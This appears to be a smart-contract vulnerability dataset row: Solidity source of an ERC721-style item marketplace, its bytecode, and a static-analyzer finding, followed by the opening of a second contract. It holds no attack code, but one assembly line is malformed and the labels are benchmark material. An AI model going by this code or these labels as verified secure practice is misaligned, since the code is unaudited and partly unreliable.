require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
nameOfItem[_itemId] = _itemName;
nameAddressOfItem[_itemId] = _itemNameAddress;
startingPriceOfItem[_itemId] = _price;
listedItems.push(_itemId);
}
function calculateNextPrice(uint256 _price) public view returns(uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
function calculateDevCut(uint256 _price) public view returns(uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100);
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100);
} else if (_price < increaseLimit3) {
return _price.mul(3).div(100);
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100);
} else {
return _price.mul(2).div(100);
}
}
function buy(uint256 _itemId) payable public {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _itemId);
priceOfItem[_itemId] = nextPriceOf(_itemId);
Bought(_itemId, newOwner, price);
Sold(_itemId, oldOwner, price);
uint256 devCut = calculateDevCut(price);
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
function implementsERC721() public view returns(bool _implements) {
return erc721Enabled;
}
function name() public pure returns(string _name) {
return p_contract_name;
}
function symbol() public pure returns(string _symbol) {
return p_contract_symbol;
}
function totalSupply() public view returns(uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf(address _owner) public view returns(uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf(uint256 _itemId) public view returns(address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf(address _owner) public view returns(uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists(uint256 _itemId) public view returns(bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns(address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
}
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
Transfer(_from, _to, _itemId);
}
function isAdmin(address _admin) public view returns(bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf(uint256 _itemId) public view returns(uint256 _startingPrice) {
return startingPriceOfItem[_itemId];
}
function priceOf(uint256 _itemId) public view returns(uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf(uint256 _itemId) public view returns(uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function itemNameOf(uint256 _itemId) public view returns(bytes32 _itemName) {
return nameOfItem[_itemId];
}
function itemNameAddress(uint256 _itemId) public view returns(address _itemNameAddress) {
return nameAddressOfItem[_itemId];
}
function itemsForSaleLimit(uint256 _from, uint256 _take) public view returns(uint256[] _items) {
uint256[] memory items = new uint256[](_take);
for (uint256 i = 0; i < _take; i++) {
items[i] = listedItems[_from + i];
}
return items;
}
function isContract(address addr) internal view returns(bool) {
uint size;
assembly {
size: =extcodesize(addr)
}
return size > 0;
}
}
interface IItemRegistry {
function itemsForSaleLimit(uint256 _from, uint256 _take) public view returns(uint256[] _items);
function ownerOf(uint256 _itemId) public view returns(address _owner);
function priceOf(uint256 _itemId) public view returns(uint256 _price);
} | 0x6060604052600436106101d6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806274477d146101db578062923f9e1461023e5780630562b9f71461027957806306fdde031461029c578063095ea7b31461032a5780631051db341461036c578063123b1dae146103995780631362180e146103e657806313af40351461040b5780631785f53c1461044457806318160ddd1461047d5780631fe8500e146104a657806323b872dd146104df57806324d7806c146105405780632a6dd48f1461059157806337525ff0146105f45780635435bac8146106175780635a3f2672146106985780635ba9e48e146107265780635ec211a11461075d5780636352211e1461080f578063651212051461087257806370480275146108a957806370a08231146108e257806371dc761e1461092f578063734407451461094457806376fe3efa146109bb578063853828b614610a1e5780638602c8b614610a335780638f88aed014610ae557806395d89b4114610b3f578063a9059cbb14610bcd578063af7520b914610c0f578063b9186d7d14610c46578063d96a094a14610c7d578063ddb8b09914610c95578063e08503ec14610cd4578063e504227114610d0b575b600080fd5b34156101e657600080fd5b61023c6004808035906020019082018035906020019190919290803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560001916906020019091905050610da0565b005b341561024957600080fd5b61025f6004808035906020019091905050610e40565b604051808215151515815260200191505060405180910390f35b341561028457600080fd5b61029a6004808035906020019091905050610e54565b005b34156102a757600080fd5b6102af610f13565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ef5780820151818401526020810190506102d4565b50505050905090810190601f16801561031c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561033557600080fd5b61036a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f56565b005b341561037757600080fd5b61037f6111bc565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103d0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111d3565b6040518082815260200191505060405180910390f35b61040960048080359060200190919080356000191690602001909190505061121c565b005b341561041657600080fd5b610442600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611313565b005b341561044f57600080fd5b61047b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113b1565b005b341561048857600080fd5b61049061145e565b6040518082815260200191505060405180910390f35b34156104b157600080fd5b6104dd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061146b565b005b34156104ea57600080fd5b61053e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061150a565b005b341561054b57600080fd5b610577600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611577565b604051808215151515815260200191505060405180910390f35b341561059c57600080fd5b6105b260048080359060200190919050506115cd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105ff57600080fd5b610615600480803590602001909190505061160a565b005b341561062257600080fd5b61064160048080359060200190919080359060200190919050506119f6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610684578082015181840152602081019050610669565b505050509050019250505060405180910390f35b34156106a357600080fd5b6106cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a87565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107125780820151818401526020810190506106f7565b505050509050019250505060405180910390f35b341561073157600080fd5b6107476004808035906020019091905050611b85565b6040518082815260200191505060405180910390f35b341561076857600080fd5b610794600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b9f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107d45780820151818401526020810190506107b9565b50505050905090810190601f1680156108015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561081a57600080fd5b6108306004808035906020019091905050611c86565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561087d57600080fd5b6108936004808035906020019091905050611cc3565b6040518082815260200191505060405180910390f35b34156108b457600080fd5b6108e0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611dd4565b005b34156108ed57600080fd5b610919600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e89565b6040518082815260200191505060405180910390f35b341561093a57600080fd5b610942611f19565b005b341561094f57600080fd5b6109b9600480803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f91565b005b34156109c657600080fd5b6109dc60048080359060200190919050506121a8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a2957600080fd5b610a316121e5565b005b3415610a3e57600080fd5b610a6a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610aaa578082015181840152602081019050610a8f565b50505050905090810190601f168015610ad75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610af057600080fd5b610b3d6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506123a1565b005b3415610b4a57600080fd5b610b5261254b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b92578082015181840152602081019050610b77565b50505050905090810190601f168015610bbf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610bd857600080fd5b610c0d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061258e565b005b3415610c1a57600080fd5b610c3060048080359060200190919050506125fa565b6040518082815260200191505060405180910390f35b3415610c5157600080fd5b610c676004808035906020019091905050612617565b6040518082815260200191505060405180910390f35b610c936004808035906020019091905050612634565b005b3415610ca057600080fd5b610cb660048080359060200190919050506128e7565b60405180826000191660001916815260200191505060405180910390f35b3415610cdf57600080fd5b610cf56004808035906020019091905050612904565b6040518082815260200191505060405180910390f35b610d9e600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612a15565b005b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610dfa57600080fd5b600090505b85859050811015610e3857610e2b8686838181101515610e1b57fe5b9050602002013585858587611f91565b8080600101915050610dff565b505050505050565b600080610e4c83612617565b119050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610eaf57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610f1057600080fd5b50565b610f1b612f15565b6040805190810160405280601081526020017f556e697665727365436f696e2055454300000000000000000000000000000000815250905090565b600260149054906101000a900460ff161515610f7157600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610fac57600080fd5b610fb581610e40565b1515610fc057600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16610fe082611c86565b73ffffffffffffffffffffffffffffffffffffffff1614151561100257600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415611100576000600b600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156110fb57600b600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560003373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b6111b8565b81600b600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b6000600260149054906101000a900460ff16905090565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061122783612617565b11151561123357600080fd5b600d600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156112a157600080fd5b80600c6000848152602001908152602001600020816000191690555033600d600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561136e57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561140c57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600780549050905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156114c657600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260149054906101000a900460ff16151561152557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16611545826115cd565b73ffffffffffffffffffffffffffffffffffffffff1614151561156757600080fd5b611572838383612cb7565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600b600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000803373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561166857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156116c657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e856000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561177757600080fd5b6102c65a03f1151561178857600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff16141515156117b557600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d856000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561185057600080fd5b6102c65a03f1151561186157600080fd5b5050506040518051905011151561187757600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d846000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561191057600080fd5b6102c65a03f1151561192157600080fd5b505050604051805190509150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156119c657600080fd5b6102c65a03f115156119d757600080fd5b5050506040518051905090506119f1838383600085611f91565b505050565b6119fe612f29565b611a06612f29565b600083604051805910611a165750595b90808252806020026020018201604052509150600090505b83811015611a7c576007818601815481101515611a4757fe5b9060005260206000209001548282815181101515611a6157fe5b90602001906020020181815250508080600101915050611a2e565b819250505092915050565b611a8f612f29565b611a97612f29565b600080611aa385611e89565b604051805910611ab05750595b9080825280602002602001820160405250925060009150600090505b600780549050811015611b7a578473ffffffffffffffffffffffffffffffffffffffff16611b13600783815481101515611b0257fe5b906000526020600020900154611c86565b73ffffffffffffffffffffffffffffffffffffffff161415611b6d57600781815481101515611b3e57fe5b9060005260206000209001548383815181101515611b5857fe5b90602001906020020181815250506001820191505b8080600101915050611acc565b829350505050919050565b6000611b98611b9383612617565b612904565b9050919050565b611ba7612f15565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c7a5780601f10611c4f57610100808354040283529160200191611c7a565b820191906000526020600020905b815481529060010190602001808311611c5d57829003601f168201915b50505050509050919050565b60006008600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600354821015611cfd57611cf66064611ce8600585612e9390919063ffffffff16565b612ece90919063ffffffff16565b9050611dcf565b600454821015611d3557611d2e6064611d20600485612e9390919063ffffffff16565b612ece90919063ffffffff16565b9050611dcf565b600554821015611d6d57611d666064611d58600385612e9390919063ffffffff16565b612ece90919063ffffffff16565b9050611dcf565b600654821015611da557611d9e6064611d90600385612e9390919063ffffffff16565b612ece90919063ffffffff16565b9050611dcf565b611dcc6064611dbe600285612e9390919063ffffffff16565b612ece90919063ffffffff16565b90505b919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611e2f57600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000809150600090505b600780549050811015611f0f578373ffffffffffffffffffffffffffffffffffffffff16611edd600783815481101515611ecc57fe5b906000526020600020900154611c86565b73ffffffffffffffffffffffffffffffffffffffff161415611f025781806001019250505b8080600101915050611e96565b8192505050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611f7457600080fd5b6001600260146101000a81548160ff021916908315150217905550565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611fe957600080fd5b600084111515611ff857600080fd5b6000600a60008781526020019081526020016000205414151561201a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166008600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561208857600080fd5b826008600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600a60008781526020019081526020016000208190555081600c6000878152602001908152602001600020816000191690555080600d600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508360096000878152602001908152602001600020819055506007805480600101828161218c9190612f3d565b9160005260206000209001600087909190915055505050505050565b6000600d600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561224057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156122b857600080fd5b565b6122c2612f15565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123955780601f1061236a57610100808354040283529160200191612395565b820191906000526020600020905b81548152906001019060200180831161237857829003601f168201915b50505050509050919050565b60003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156123fe57600080fd5b600090505b8151811015612547576000600a6000848481518110151561242057fe5b90602001906020020151815260200190815260200160002054118061250f57506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d848481518110151561248e57fe5b906020019060200201516000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156124f257600080fd5b6102c65a03f1151561250357600080fd5b50505060405180519050145b156125195761253a565b612539828281518110151561252a57fe5b9060200190602002015161160a565b5b8080600101915050612403565b5050565b612553612f15565b6040805190810160405280600381526020017f5545430000000000000000000000000000000000000000000000000000000000815250905090565b600260149054906101000a900460ff1615156125a957600080fd5b6125b281611c86565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125eb57600080fd5b6125f6338383612cb7565b5050565b600060096000838152602001908152602001600020549050919050565b6000600a6000838152602001908152602001600020549050919050565b60008060008060008061264687612617565b11151561265257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1661267387611c86565b73ffffffffffffffffffffffffffffffffffffffff161415151561269657600080fd5b61269f86612617565b34101515156126ad57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166126cd87611c86565b73ffffffffffffffffffffffffffffffffffffffff16141515156126f057600080fd5b6126f933612ee9565b15151561270557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561274157600080fd5b61274a86611c86565b945033935061275886612617565b925061276d8334612efc90919063ffffffff16565b915061277a858588612cb7565b61278386611b85565b600a6000888152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff16867fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040856040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff16867f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7856040518082815260200191505060405180910390a361284183611cc3565b90508473ffffffffffffffffffffffffffffffffffffffff166108fc6128708386612efc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050151561289557600080fd5b60008211156128df578373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156128de57600080fd5b5b505050505050565b6000600c6000838152602001908152602001600020549050919050565b600060035482101561293e57612937605f61292960c885612e9390919063ffffffff16565b612ece90919063ffffffff16565b9050612a10565b6004548210156129765761296f6060612961608785612e9390919063ffffffff16565b612ece90919063ffffffff16565b9050612a10565b6005548210156129ae576129a76061612999607d85612e9390919063ffffffff16565b612ece90919063ffffffff16565b9050612a10565b6006548210156129e6576129df60616129d1607585612e9390919063ffffffff16565b612ece90919063ffffffff16565b9050612a10565b612a0d60626129ff607385612e9390919063ffffffff16565b612ece90919063ffffffff16565b90505b919050565b600060028351111515612a2757600080fd5b60028251111515612a3757600080fd5b60135490506000612a47336111d3565b111515612a58576013549050612a6a565b612a61336111d3565b90506002810290505b8034141515612a7857612cb2565b82601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190612acb929190612f69565b5080601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190612b63929190612f69565b503373ffffffffffffffffffffffffffffffffffffffff16826040518082805190602001908083835b602083101515612bb15780518252602082019150602081019050602083039250612b8c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020846040518082805190602001908083835b602083101515612c145780518252602082019150602081019050602083039250612bef565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207f3f577297b0cd2235b29780f1aee25aa20add45fa91b56d9a503931646e8cebba60405160405180910390a43373ffffffffffffffffffffffffffffffffffffffff16817f877e726b8d8ad1ce23af0798c48508718d0f65c816e973691dc9b095f5cc96de60405160405180910390a35b505050565b612cc081610e40565b1515612ccb57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff16612ceb82611c86565b73ffffffffffffffffffffffffffffffffffffffff16141515612d0d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612d4957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612d8457600080fd5b816008600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000806000841415612ea85760009150612ec7565b8284029050828482811515612eb957fe5b04141515612ec357fe5b8091505b5092915050565b6000808284811515612edc57fe5b0490508091505092915050565b600080823b905060008111915050919050565b6000828211151515612f0a57fe5b818303905092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b815481835581811511612f6457818360005260206000209182019101612f639190612fe9565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612faa57805160ff1916838001178555612fd8565b82800160010185558215612fd8579182015b82811115612fd7578251825591602001919060010190612fbc565b5b509050612fe59190612fe9565b5090565b61300b91905b80821115613007576000816000905550600101612fef565b5090565b905600a165627a7a723058204aed9c8e6f5a28dda8b5b00e70391be20dfe8da0ac8a51f2b37f0e4c528a552c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 10,306 |
0xcb1F0f7bf2b9e4ef1243719b6e7968061AaF2B50 | pragma solidity ^0.6.6;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'math_add_over');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'math_sub_over');
}
function sub128(uint x , uint y) internal pure returns (uint128 z){
return uint128(sub(x , y));
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'math_mul_over');
}
function div(uint x, uint y) internal pure returns (uint z){
require(y > 0, 'math_div_0');
z = x / y;
}
function mod(uint x, uint y) internal pure returns (uint z){
require(y != 0, 'math_mod_0');
z = x % y;
}
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Manager is Ownable {
address public manager;
modifier onlyManager() {
require(owner == msg.sender || manager == msg.sender);
_;
}
function setManager(address newManager) public onlyOwner {
manager = newManager;
}
}
contract Pausable is Ownable {
event Pause();
